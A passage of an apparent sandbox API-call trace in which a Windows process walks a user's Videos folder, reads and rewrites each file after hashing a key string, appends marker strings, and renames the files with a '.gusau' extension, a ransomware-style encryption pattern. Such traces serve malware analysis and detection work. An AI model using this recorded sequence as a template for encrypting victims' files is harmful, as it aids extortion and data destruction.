hHeap=0xd10000) returned 1 [0118.833] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8bf0) returned 0x39f9f20 [0118.833] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.833] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.833] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x8beb, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x8beb, lpOverlapped=0x0) returned 1 [0118.833] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.833] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x8bf0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.834] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.834] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.834] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.834] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.834] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.834] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.834] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.834] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.834] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.834] CloseHandle (hObject=0x610) returned 1 [0118.835] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930140 [0118.835] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8c0) returned 0x39f4ef8 [0118.835] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930140 | out: hHeap=0xd10000) returned 1 [0118.835] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\RrLl7FRJlURSY01.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\rrll7frjlursy01.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\RrLl7FRJlURSY01.flv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\rrll7frjlursy01.flv.gusau")) returned 1 [0118.835] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.835] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.836] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0118.836] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45ee43f0, ftCreationTime.dwHighDateTime=0x1d4c6ff, ftLastAccessTime.dwLowDateTime=0x8addec00, ftLastAccessTime.dwHighDateTime=0x1d4c7fd, ftLastWriteTime.dwLowDateTime=0x8addec00, ftLastWriteTime.dwHighDateTime=0x1d4c7fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sVLD8M-oJOW", cAlternateFileName="SVLD8M~1")) returned 1 [0118.836] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974300 [0118.836] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.836] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39743a8 [0118.836] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.836] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974300 | out: hHeap=0xd10000) returned 1 [0118.837] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8584910, ftCreationTime.dwHighDateTime=0x1d4cef5, ftLastAccessTime.dwLowDateTime=0xaaee9d60, ftLastAccessTime.dwHighDateTime=0x1d4d1d9, ftLastWriteTime.dwLowDateTime=0xaaee9d60, ftLastWriteTime.dwHighDateTime=0x1d4d1d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tKB6e7CXHXIzSLY", cAlternateFileName="TKB6E7~1")) returned 1 [0118.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974300 [0118.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xee) returned 0xdcc590 [0118.837] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974300 | out: hHeap=0xd10000) returned 1 [0118.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930140 [0118.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x39301f8 [0118.837] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930140 | out: hHeap=0xd10000) returned 1 [0118.837] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdcc590 | out: hHeap=0xd10000) returned 1 [0118.837] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f27f50, ftCreationTime.dwHighDateTime=0x1d4d157, ftLastAccessTime.dwLowDateTime=0xe6a29070, ftLastAccessTime.dwHighDateTime=0x1d4d2a4, ftLastWriteTime.dwLowDateTime=0xe6a29070, ftLastWriteTime.dwHighDateTime=0x1d4d2a4, nFileSizeHigh=0x0, nFileSizeLow=0x6e28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X98zhXIRm mnrxp8RLxH.avi", cAlternateFileName="X98ZHX~1.AVI")) returned 1 [0118.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd6) returned 0x38d05a0 [0118.837] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.837] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\X98zhXIRm mnrxp8RLxH.avi") returned=".avi" [0118.837] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\X98zhXIRm mnrxp8RLxH.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\x98zhxirm mnrxp8rlxh.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.837] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=28200) returned 1 [0118.837] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.839] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x6e02, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.840] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.841] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.841] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.842] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.842] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x6e28, lpOverlapped=0x0) returned 1 [0118.842] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.842] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.842] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.842] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.842] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.843] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.843] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.843] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.843] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.843] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.843] GetLastError () returned 0x0 [0118.843] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.843] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.843] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.843] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x6e30) returned 0x39f9f20 [0118.844] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.844] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.844] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x6e23, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x6e23, lpOverlapped=0x0) returned 1 [0118.844] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.844] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x6e28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.844] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.844] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.844] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.844] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.844] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.844] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.844] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.844] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.844] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.844] CloseHandle (hObject=0x610) returned 1 [0118.845] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e108 [0118.845] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8c0) returned 0x39f4ef8 [0118.845] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0118.845] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\X98zhXIRm mnrxp8RLxH.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\x98zhxirm mnrxp8rlxh.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\X98zhXIRm mnrxp8RLxH.avi.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\x98zhxirm mnrxp8rlxh.avi.gusau")) returned 1 [0118.846] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.846] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0118.847] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f27f50, ftCreationTime.dwHighDateTime=0x1d4d157, ftLastAccessTime.dwLowDateTime=0xe6a29070, ftLastAccessTime.dwHighDateTime=0x1d4d2a4, ftLastWriteTime.dwLowDateTime=0xe6a29070, ftLastWriteTime.dwHighDateTime=0x1d4d2a4, nFileSizeHigh=0x0, nFileSizeLow=0x6e28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X98zhXIRm mnrxp8RLxH.avi", cAlternateFileName="X98ZHX~1.AVI")) returned 0 [0118.847] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0118.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7fd0 | out: hHeap=0xd10000) returned 1 [0118.847] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941c70 | out: hHeap=0xd10000) returned 1 [0118.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf08b0 | out: hHeap=0xd10000) returned 1 [0118.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a18 | out: hHeap=0xd10000) returned 1 [0118.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0718 | out: hHeap=0xd10000) returned 1 [0118.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf07a0 | out: hHeap=0xd10000) returned 1 [0118.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974060 | out: hHeap=0xd10000) returned 1 [0118.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39416d0 | out: hHeap=0xd10000) returned 1 [0118.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0828 | out: hHeap=0xd10000) returned 1 [0118.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941478 | out: hHeap=0xd10000) returned 1 [0118.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3945528 | out: hHeap=0xd10000) returned 1 [0118.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390b9c0 | out: hHeap=0xd10000) returned 1 [0118.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38e0b90 | out: hHeap=0xd10000) returned 1 [0118.847] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0828 [0118.847] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.847] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.847] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.848] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.848] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.848] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.848] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.848] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.848] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.848] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.848] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.848] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.848] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.848] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.848] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.848] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.848] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.848] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.848] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.848] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.848] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.848] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.848] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.848] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.848] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.848] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.848] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.848] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.848] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.848] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.848] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.848] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.848] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.848] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.849] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.849] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.849] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.849] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.849] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.849] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.849] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.849] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.849] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.849] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.849] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.849] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.849] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.849] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.849] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.849] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.849] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.849] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.849] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.849] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.849] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.849] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.849] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.849] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.849] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.849] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.849] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.849] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.849] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.849] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.849] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.850] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.850] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.850] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.850] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.850] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.850] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.850] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.850] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.850] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.850] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.850] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.850] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.850] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.850] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.850] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.850] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, 